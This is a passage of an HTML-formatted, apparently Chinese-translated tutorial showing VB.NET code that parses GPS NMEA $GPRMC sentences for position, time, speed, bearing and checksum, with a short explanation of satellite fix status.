rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(3) &lt;&gt; "" And Words(4) &lt;&gt; "" And Words(5) &lt;&gt; "" And _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Words(6) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes. Extract latitude and longitude</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Latitude As String = Words(3).Substring(0, 2) & "°" ' Append hours</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Latitude = Latitude & Words(3).Substring(2) & """"&nbsp;&nbsp;&nbsp; ' Append minutes</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Latitude = Latitude & Words(4)&nbsp;&nbsp;&nbsp; ' Append the hemisphere</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Longitude As String = Words(5).Substring(0, 3) & "°" ' Append hours</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Longitude = Longitude & Words(5).Substring(3) & """"&nbsp;&nbsp;&nbsp; ' Append minutes</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Longitude = Longitude & Words(6)&nbsp;&nbsp;&nbsp; ' Append the hemisphere</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Notify the calling application of the change</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent PositionReceived(Latitude, Longitude)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Do we have enough values to parse satellite-derived time?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(1) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes. Extract hours, minutes, seconds and milliseconds</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim UtcHours As Integer = CType(Words(1).Substring(0, 2), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim UtcMinutes As Integer = CType(Words(1).Substring(2, 2), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&am, p;nb, sp;&nbsp;&nbsp; Dim UtcSeconds As Integer = CType(Words(1).Substring(4, 2), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">, &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim UtcMilliseconds As Integer</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Extract milliseconds if it is available</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If Words(1).Length &gt; 7 Then UtcMilliseconds = _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CType(Words(1).Substring(7), Integer)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Now build a DateTime object with all values</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Today As DateTime = System.DateTime.Now.ToUniversalTime</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim SatelliteTime As New System.DateTime(Today.Year, Today.Month, _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Today.Day, UtcHours, UtcMinutes, UtcSeconds, UtcMilliseconds)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Notify of the new time, adjusted to the local time zone</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent DateTimeChanged(SatelliteTime.ToLocalTime)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Do we have enough information to extract the current speed?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(7) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes.&nbsp; Convert it into MPH</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Speed As Double = CType(Words(7), Double) * 1.150779</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' If we're over 55MPH then trigger a speed alarm!</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If Speed &gt; 55 Then RaiseEvent SpeedLimitReached()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Notify of the new speed</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent SpeedReceived(Speed)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Do we have enough information to extract bearing?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(8) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Indicate that the sentence was recognized</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Bearing As Double = CType(Words(8), Double)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent BearingReceived(Bearing)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Indicate that the sentence was recognized</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return True</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Returns True if a sentence's checksum matches the calculated checksum</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function IsValid(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Compare the characters after the asterisk to the calculation</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return sentence.Substring(sentence.IndexOf("*") + 1) = _&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GetChecksum(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Calculates the checksum for a sentence</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function GetChecksum(ByVal sentence As String) As String</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Loop through all chars to get a checksum</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Character As Char</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Checksum As Integer</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; For Each Character In sentence</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Select Case Character</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "$"c</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Ignore the dollar sign</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "*"c</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Stop processing before the asterisk</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Exit For</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case Else</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Is this the first value for the checksum?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If Checksum = 0 Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes. Set the checksum to the value</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Checksum = Convert.ToByte(Character)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Else</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' No. XOR the checksum with this character's value</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Checksum = Checksum Xor Convert.ToByte(Character)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End Select</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Next</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Return the checksum formatted as a two-character hexadecimal</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return Checksum.ToString("X2")</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">End Class</SPAN><BR><BR>这个$GPRMC语句包含一个用“fix”表示的值。它表示你现在获得的信号强度至少来自三颗卫星，这样就足够用来计算你当前的位置了。如果有四颗卫星的 话，还可以获得高程信息。$GPRMC语句的第三个单词“A”表示“活动的”的意思，那么我们就知道当前的信号是可用的，如果是“V”，则表示不可用。清 单 1-6 包含的代码可以用来检查这个字符并报告是否可用。<BR><BR>清单 1-6：这个描述起现在可以让我们获知设备的数据是否是“fix”的<BR><BR><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">'*******************************************************</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">'**&nbsp; Listing 1-6.&nbsp; Extracting satellite fix status</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">'*******************************************************</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">Public Class NmeaInterpreter</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Raised when the current location has changed</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event PositionReceived(ByVal latitude As String, _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ByVal longitude As String)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event DateTimeChanged(ByVal dateTime As DateTime)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event BearingReceived(ByVal bearing As Double)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event SpeedReceived(ByVal speed As Double)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event SpeedLimitReached()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event FixObtained()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event FixLost()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Processes information from the GPS receiver</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function Parse(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Discard the sentence if its checksum does not match our calculated</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' checksum</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Not IsValid(sentence) Then Return False</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Look at the first word to decide where to go next</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Select Case GetWords(sentence)(0)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "$GPRMC"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' A "Recommended Minimum" sentence was found!</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Return ParseGPRMC(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case Else</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Indicate that the sentence was not recognized</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Return False</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End Select</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' Divides a sentence into individual words</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function GetWords(ByVal sentence As String) As String()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return sentence.Split(","c)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">' Interprets a $GPRMC message</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">Public Function ParseGPRMC(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Divide the sentence into words</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Words() As String = GetWords(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Do we have enough values to describe our location?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(3) &lt;&gt; "" And Words(4) &lt;&gt; "" And Words(5) &lt;&gt; "" And _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Words(6) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes. Extract latitude and longitude</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Latitude As String = Words(3).Substring(0, 2) & "°"&nbsp; ' Append hours</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Latitude = Latitude & Words(3).Substring(2) & """"&nbsp;&nbsp;&nbsp; ' Append minutes</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Latitude = Latitude & Words(4)&nbsp;&nbsp;&nbsp; ' Append the hemisphere</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Longitude As String = Words(5).Substring(0, 3) & "°"&nbsp; ' Append hours</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Longitude = Longitude & Words(5).Substring(3) & """"&nbsp;&nbsp;&nbsp; ' Append minutes</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Longitude = Longitude & Words(6)&nbsp;&nbsp;&nbsp; ' Append the hemisphere</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Notify the calling application of the change</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent PositionReceived(Latitude, Longitude)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' Do we have enough values to parse satellite-derived time?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(1) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' Yes. Extract hours, minutes, seconds and milliseconds</SPAN><BR 